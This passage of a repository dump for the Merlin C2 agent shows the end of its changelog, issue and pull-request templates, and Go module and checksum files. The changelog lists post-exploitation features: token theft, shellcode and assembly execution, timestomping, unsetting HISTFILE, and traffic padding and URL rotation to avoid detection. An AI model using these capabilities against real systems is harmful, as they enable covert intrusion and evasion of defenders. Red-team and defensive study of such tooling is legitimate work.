[LogonUserW](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw) and then [CreateProcessWithTokenW](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw) instead of [CreateProcessWithLogon](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw) with Merlin's `runas` command ## 1.3 - 2022-02-17 ### Changed - Added the `Integrity` field to the Agent structure - Added message padding to the following Mythic messages types for the Mythic client: - CheckIn - Tasking - PostResponse - RSARequest - PostResponseFile - PostResponseDownload ### Added - Added `os.GetIntegrityLevel()` to enumerate the agent's integrity level or elevated status - Windows: `2`-Medium, `3`-High, `4`-System - All other OS: `3` - member of sudo group, `4` - running as root - Added a random amount of message padding, up to the padding max value, to HTTP post requests for the Mythic client ## 1.2.1 - 2022-01-10 ### Fixed - [Issue 6](https://github.com/Ne0nd0g/merlin-agent/issues/6) - Message padding is now a random length instead of a fixed length - [Issue 7](https://github.com/Ne0nd0g/merlin-agent/issues/6) - Windows Access Token now persists between commands ## 1.2.0 - 2021-12-12 ### Added - `rm` command to remove, or delete, files using native Go functions - `runas` Windows command to create a process as another user with their password - `ssh` Connect to a remote host over SSH and execute a command (non-interactive) - `token` Windows command to interact with Windows Access Tokens - `make` Create a new token with a username and password; Unlisted `make_token` alias - `privs` List the current or remote process token privileges - `rev2self` Drop any created or stolen access token and revert to original configuration; Unlisted `rev2self` alias - `steal` Steal a token from another process; Unlisted `steal_token` alias - `whoami` Enumerate process and thread token username, logon ID, privilege count, token type, impersonation level, and integrity level - New `os/windows/api` directory for operating system specific API and system calls - New `os/windows/pkg` directory for functions that wrap operating system specific calls - Added `commands/os` with `Setup()` and `TearDown()` functions to prep and release process space before executing any commands - Due to how the Go runtime works, stolen/created Windows access token must be applied/released for each run of a command - Add both a `-headers` command line argument and `HEADERS=` Make parameter to add arbitrary HTTP headers - The flag takes in a new-line seperated (e.g., `\n`) list of headers - FreeBSD Makefile build support from [paullj1](https://github.com/paullj1) in [Pull 3](https://github.com/Ne0nd0g/merlin-agent/pull/3) - Read STDIN for 500 milliseconds for agent argument from [paullj1](https://github.com/paullj1) in [Pull 3](https://github.com/Ne0nd0g/merlin-agent/pull/3) ### Changed - Broke the `commands/transfer.go` file into `commands/download.go` and `commands/upload.go` - The `ls` command can now handle Windows UNC paths - The `run`, `shell`, `execute-assembly`, `execute-pe`, & `execute-shellcode` commands will use the Windows CreateProcessWithTokenW function call if a token was stolen/created - Updated [go-quic](https://github.com/lucas-clemente/quic-go/) library to v0.24.0 ### Fixed - [Issue 117](https://github.com/Ne0nd0g/merlin/issues/117) - Added random padding to OPAQUE messages ## 1.1.0 - August 4, 2021 ### Added - Incorporated a lot of changes by [r00t0v3rr1d3](https://github.com/r00t0v3rr1d3) & [deviousbanana](https://github.com/deviousbanana) from their [fork](https://github.com/r00t0v3rr1d3/merlin/tree/dev) - `ifconfig`/`ipconfig`: Prints host network adapter information. Windows hosts use API calls to get extra info (e.g., DHCP) from https://github.com/r00t0v3rr1d3/merlin/commit/42a12af99610e439721cbd095a2d55523e7cbc94 - Agent and AgentInfo structs contain `Process` name from https://github.com/r00t0v3rr1d3/merlin/commit/cbf875427123e6a58a528d0e38a692c2308f09c9 - Added the `kill` command to kill a running process by its process ID (PID) - Provide a comma seperated list of URLs that Merlin will rotate through for each POST request - Example `-url https://127.0.0.1/news.php,https://127.0.0.1/admin/get.php` - When using http or https protocol, the connection only appears in netstat for one second or less - Added `sdelete` command to securely delete a file - Added `touch`, alias is `timestomp`, command that matches the destination file's timestamps with source file - Added `ps` command that returns a process listing for Windows agents - Added `netstat` that displays network connection for Windows agents (tcp, tcp6, udp, udp6) - Added Windows only `pipes` command to list named pipes - Added Windows only `uptime` command to print the target system's uptime - Added `env` command: View and modify environment variables. "set" will create a new variable if it didn't exist * Usage: `env showall` * Usage: `env get PATH` * Usage: `env set CUSTOM "my desired value"` * Usage: `env unset HISTFILE` ### Changed - The command used to instruct the agent to quit running is now `exit` - The Merlin agent Client structure, URL structure, now takes a slice of URLs as a string as opposed to just 1 string ## 1.0.2 - June 25, 2021 ### Added - Use HTTP_PROXY, HTTPS_PROXY & NO_PROXY environment variables if a proxy was not explicitly provided ### Fixed - Incorrectly used `https` for [TLS ALPN Protocol ID](https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids) ## 1.0.1 - May 29, 2021 ### Fixed - [Issue 1](https://github.com/Ne0nd0g/merlin-agent/issues/1) - Added `job.Token` for Minidump command response message ### Added - `windows-debug` build to Make file; Removes hidden window attribute to view STDOUT/STDERR when troubleshooting ## 1.0.0 - April 17, 2021 - Initial commit - Moved agent code from github.com/Ne0nd0g/merlin/pkg/agent ================================================ FILE: docs/ISSUE_TEMPLATE.md ================================================ ### Prerequisite * [ ] I have searched the opened & _closed_ [issues](https://github.com/Ne0nd0g/merlin-agent/issues) * [ ] I have searched the [WIKI](https://merlin-c2.readthedocs.io/en/latest/index.html) and its [FAQ](https://merlin-c2.readthedocs.io/en/latest/quickStart/faq.html) page ### Environment Data * Merlin Agent Version: * Merlin Agent Build: * Operating System: If you're building from source, please provide the following information: * Go Version: * GOPATH Environment Variable: * GOROOT Environment Variable: ### Actual Behavior ### Expected Behavior ### Steps to Reproduce Behavior ### Misc Information ================================================ FILE: docs/PULL_REQUEST_TEMPLATE.md ================================================ ### Pull Request (PR) Checklist - [ ] PR is from **a topic/feature/bugfix branch** off the **dev branch** (right side) - [ ] PR is against the **dev branch** (left side) - [ ] Code compiles without errors - [ ] Passes linting checks and unit tests - [ ] Updated [CHANGELOG](./CHANGELOG.MD) - [ ] Updated README documentation (if applicable) ### Change Type - [ ] Addition - [ ] Bugfix - [ ] Modification - [ ] Removal - [ ] Security ### Description ================================================ FILE: go.mod ================================================ module github.com/Ne0nd0g/merlin-agent/v2 go 1.23.0 toolchain go1.24.2 require ( github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761 github.com/Ne0nd0g/go-clr v1.0.3 github.com/Ne0nd0g/merlin-message v1.3.0 github.com/Ne0nd0g/npipe v1.1.0 github.com/Ne0nd0g/winhttp v1.0.0 github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 github.com/cretz/gopaque v0.1.0 github.com/fatih/color v1.17.0 github.com/go-jose/go-jose/v3 v3.0.4 github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 github.com/google/uuid v1.6.0 github.com/quic-go/quic-go v0.50.1 github.com/refraction-networking/utls v1.6.7 golang.org/x/crypto v0.37.0 golang.org/x/net v0.39.0 golang.org/x/sys v0.32.0 golang.org/x/text v0.24.0 ) require ( github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee // indirect github.com/andybalholm/brotli v1.1.1 // indirect github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect github.com/cloudflare/circl v1.4.0 // indirect github.com/go-task/slim-sprig/v3 v3.0.0 // indirect github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 // indirect github.com/klauspost/compress v1.17.10 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/onsi/ginkgo/v2 v2.23.4 // indirect github.com/quic-go/qpack v0.5.1 // indirect go.dedis.ch/fixbuf v1.0.3 // indirect go.dedis.ch/kyber/v3 v3.1.0 // indirect go.uber.org/automaxprocs v1.6.0 // indirect go.uber.org/mock v0.5.1 // indirect golang.org/x/exp v0.0.0-20250408133849-7e4ce0ab07d0 // indirect golang.org/x/mod v0.24.0 // indirect golang.org/x/sync v0.13.0 // indirect golang.org/x/tools v0.32.0 // indirect ) ================================================ FILE: go.sum ================================================ github.com/Binject/debug v0.0.0-20200830173345-f54480b6530f/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak= github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761 h1:0144WWUvo86bVDEkxb3vmM92DCEsrkSYSd5gV1YlGKE= github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761/go.mod h1:QsEPWHZooj8uXL2YEdpQX+hDr00Plw7myenTiduBHRA= github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4= github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I= github.com/Ne0nd0g/merlin-message v1.3.0 h1:HelXwN6Gtk80C2ted0+PAprq+zRiQRGLG6s6phyFY5o= github.com/Ne0nd0g/merlin-message v1.3.0/go.mod h1:6eAh2KI4XrOAF+y4W2DN0qfRVWiAGzYlq148iKe3sSA= github.com/Ne0nd0g/npipe v1.1.0 h1:oTDJfD8yrr2BLGZpKEllCmeGpcbmx6LW1uuS2bxIBoM= github.com/Ne0nd0g/npipe v1.1.0/go.mod h1:GKyLKRkYambQuI9VIfMrz1Mf5hOGlEvZkhw1chph/IQ= github.com/Ne0nd0g/winhttp v1.0.0 h1:udvGuikkm04aW527YBlYT01hLDtGaYrL60Xq2yv3vU8= github.com/Ne0nd0g/winhttp v1.0.0/go.mod h1:zWg/r3XLzjPGuTBR4p9Ke2u3SlGxVaYNRPtYxmnkr8Q= github.com/andybalholm/brotli v1.1.1 h1:PR2pgnyFznKEugtsUo0xLdDop5SKXd5Qf5ysW+7XdTA= github.com/andybalholm/brotli v1.1.1/go.mod h1:05ib4cKhjx3OQYUY22hTVd34Bc8upXjOLL2rKwwZBoA= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs= github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE= github.com/cloudflare/circl v1.4.0 h1:BV7h5MgrktNzytKmWjpOtdYrf0lkkbF8YMlBGPhJQrY= github.com/cloudflare/circl v1.4.0/go.mod h1:PDRU+oXvdD7KCtgKxW95M5Z8BpSCJXQORiZFnBQS5QU= github.com/cretz/gopaque v0.1.0 h1:rC+coO7LzXnstyG7FmwK0XD7oV93tg9EZ+Fl2yZOeto= github.com/cretz/gopaque v0.1.0/go.mod h1:0npz8L/gL98OX2nWKF8WRSP8ZCAg89UKBBrBVrDXJQg= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4= github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI= github.com/go-jose/go-jose/v3 v3.0.4 h1:Wp5HA7bLQcKnf6YYao/4kpRpVMp/yf6+pJKV8WFSaNY= github.com/go-jose/go-jose/v3 v3.0.4/go.mod h1:5b+7YgP7ZICgJDBdfjZaIt+H/9L9T/YQrVfLAMboGkQ= github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY= github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J0b1vyeLSOYI8bm5wbJM/8yDe8= github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/klauspost/compress v1.17.10 h1:oXAz+Vh0PMUvJczoi+flxpnBEPxoER1IaAnU/NMPtT0= github.com/klauspost/compress v1.17.10/go.mod h1:pMDklpSncoRMuLFrf1W9Ss9KT+0rH90U12bZKk7uwG0= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/onsi/ginkgo/v2 v2.23.4 h1:ktYTpKJAVZnDT4VjxSbiBenUjmlL/5QkBEocaWXiQus= github.com/onsi/ginkgo/v2 v2.23.4/go.mod h1:Bt66ApGPBFzHyR+JO10Zbt0Gsp4uWxu5mIOTusL46e8= github.com/onsi/gomega v1.36.3 h1:hID7cr8t3Wp26+cYnfcjR6HpJ00fdogN6dqZ1t6IylU= github.com/onsi/gomega v1.36.3/go.mod h1:8D9+Txp43QWKhM24yyOBEdpkzN8FvJyAwecBgsU4KU0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prashantv/gostub v1.1.0 h1:BTyx3RfQjRHnUWaGF9oQos79AlQ5k8WNktv7VGvVH4g= github.com/prashantv/gostub v1.1.0/go.mod h1:A5zLQHz7ieHGG7is6LLXLz7I8+3LZzsrV0P1IAHhP5U= github.com/quic-go/qpack v0.5.1 h1:giqksBPnT/HDtZ6VhtFKgoLOWmlyo9Ei6u9PqzIMbhI= github.com/quic-go/qpack v0.5.1/go.mod h1:+PC4XFrEskIVkcLzpEkbLqq1uCoxPhQuvK5rH1ZgaEg= github.com/quic-go/quic-go v0.50.1 h1:unsgjFIUqW8a2oopkY7YNONpV1gYND6Nt9hnt1PN94Q= github.com/quic-go/quic-go v0.50.1/go.mod h1:Vim6OmUvlYdwBhXP9ZVrtGmCMWa3wEqhq3NgYrI8b4E= github.com/refraction-networking/utls v1.6.7 h1:zVJ7sP1dJx/WtVuITug3qYUq034cDq9B2MR1K67ULZM= github.com/refraction-networking/utls v1.6.7/go.mod h1:BC3O4vQzye5hqpmDTWUqi4P5DDhzJfkV1tdqtawQIH0= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/xyproto/randomstring v1.0.5 h1:YtlWPoRdgMu3NZtP45drfy1GKoojuR7hmRcnhZqKjWU= github.com/xyproto/randomstring v1.0.5/go.mod h1:rgmS5DeNXLivK7YprL0pY+lTuhNQW3iGxZ18UQApw/E= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= go.dedis.ch/fixbuf v1.0.3 h1:hGcV9Cd/znUxlusJ64eAlExS+5cJDIyTyEG+otu5wQs= go.dedis.ch/fixbuf v1.0.3/go.mod h1:yzJMt34Wa5xD37V5RTdmp38cz3QhMagdGoem9anUalw= go.dedis.ch/kyber/v3 v3.0.4/go.mod h1:OzvaEnPvKlyrWyp3kGXlFdp7ap1VC6RkZDTaPikqhsQ= go.dedis.ch/kyber/v3 v3.0.9/go.mod h1:rhNjUUg6ahf8HEg5HUvVBYoWY4boAafX8tYxX+PS+qg= go.dedis.ch/kyber/v3 v3.0.12/go.mod h1:kXy7p3STAurkADD+/aZcsznZGKVHEqbtmdIzvPfrs1U= go.dedis.ch/kyber/v3 v3.1.0 h1:ghu+kiRgM5JyD9TJ0hTIxTLQlJBR/ehjWvWwYW3XsC0= go.dedis.ch/kyber/v3 v3.1.0/go.mod h1:kXy7p3STAurkADD+/aZcsznZGKVHEqbtmdIzvPfrs1U= go.dedis.ch/protobuf v1.0.5/go.mod h1:eIV4wicvi6JK0q/QnfIEGeSFNG0ZeB24kzut5+HaRLo= go.dedis.ch/protobuf v1.0.7/go.mod h1:pv5ysfkDX/EawiPqcW3ikOxsL5t+BqnV6xHSmE79KI4= go.dedis.ch/protobuf v1.0.11 h1:FTYVIEzY/bfl37lu3pR4lIj+F9Vp1jE8oh91VmxKgLo= go.dedis.ch/protobuf v1.0.11/go.mod h1:97QR256dnkimeNdfmURz0wAMNVbd1VmLXhG1CrTYrJ4= go.uber.org/automaxprocs v1.6.0 h1:O3y2/QNTOdbF+e/dpXNNW7Rx2hZ4sTIPyybbxyNqTUs= go.uber.org/automaxprocs v1.6.0/go.mod h1:ifeIMSnPZuznNm6jmdzmU3/bfk01Fe2fotchwEFJ8r8= go.uber.org/mock v0.5.1 h1:ASgazW/qBmR+A32MYFDB6E2POoTgOwT509VP0CT/fjs= go.uber.org/mock v0.5.1/go.mod h1:ge71pBPLYDk7QIi1LupWxdAykm7KIEFchiOqd6z7qMM= golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= golang.org/x/crypto v0.37.0 h1:kJNSjF/Xp7kU0iB2Z+9viTPMW4EqqsrywMXLJOOsXSE= golang.org/x/crypto v0.37.0/go.mod h1:vg+k43peMZ0pUMhYmVAWysMK35e6ioLh3wB8ZCAfbVc= golang.org/x/exp v0.0.0-20250408133849-7e4ce0ab07d0 h1:R84qjqJb5nVJMxqWYb3np9L5ZsaDtB+a39EqjV0JSUM= golang.org/x/exp v0.0.0-20250408133849-7e4ce0ab07d0/go.mod h1:S9Xr4PYopiDyqSyp5NjCrhFrqg6A5zA2E/iPHPhqnS8= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU= golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.39.0 h1:ZCu7HMWDxpXpaiKdhzIfaltL9Lp31x/3fCP11bc6/fY= golang.org/x/net v0.39.0/go.mod h1:X7NRbYVEA+ewNkCNyJ513WmMdQ3BineSwVtN2zD/d+E= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.13.0 h1:AauUjRAJ9OSnvULf/ARrrVywoJDy0YS2AwQ98I37610= golang.org/x/sync v0.13.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= golang.org/x/sys v0.0.0-20190124100055-b90733256f2e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.32.0 h1:s77OFDvIQeibCmezSnk/q6iAfkdiQaJi4VzroCFrN20= golang.org/x/sys v0.32.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= golang.org/x/term v0.31.0 h1:erwDkOK1Msy6offm1mOgvspSkslFnIGsFnxOKoufg3o= golang.org/x/term v0.31.0/go.mod h1:R4BeIy7D95HzImkxGkTW1UQTtP54tio2RyHz7PwK0aw= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.24.0 h1:dd5Bzh4yt5KYA8f9CJHCP4FB4D51c2c6JvN37xJJkJ0= golang.org/x/text v0.24.0/go.mod h1:L8rBsPeo2pSS+xqN0d5u2ikmjtmoJbDBT1b7nHvFCdU= golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk= golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.32.0 h1:Q7N1vhpkQv7ybVzLFtTjvQya2ewbwNDZzUgfXGqtMWU= golang.org/x/tools v0.32.0/go.mod h1:ZxrU41P/wAbZD8EDa6dDCa6XfpkhJ7HFMjHJXfBDu8s= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/protobuf v1.36.5 h1:tPhr+woSbjfYvY6/GPufUoYizxw1cF/yFoxJ2fmpwlM= google.golang.org/protobuf v1.36.5/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 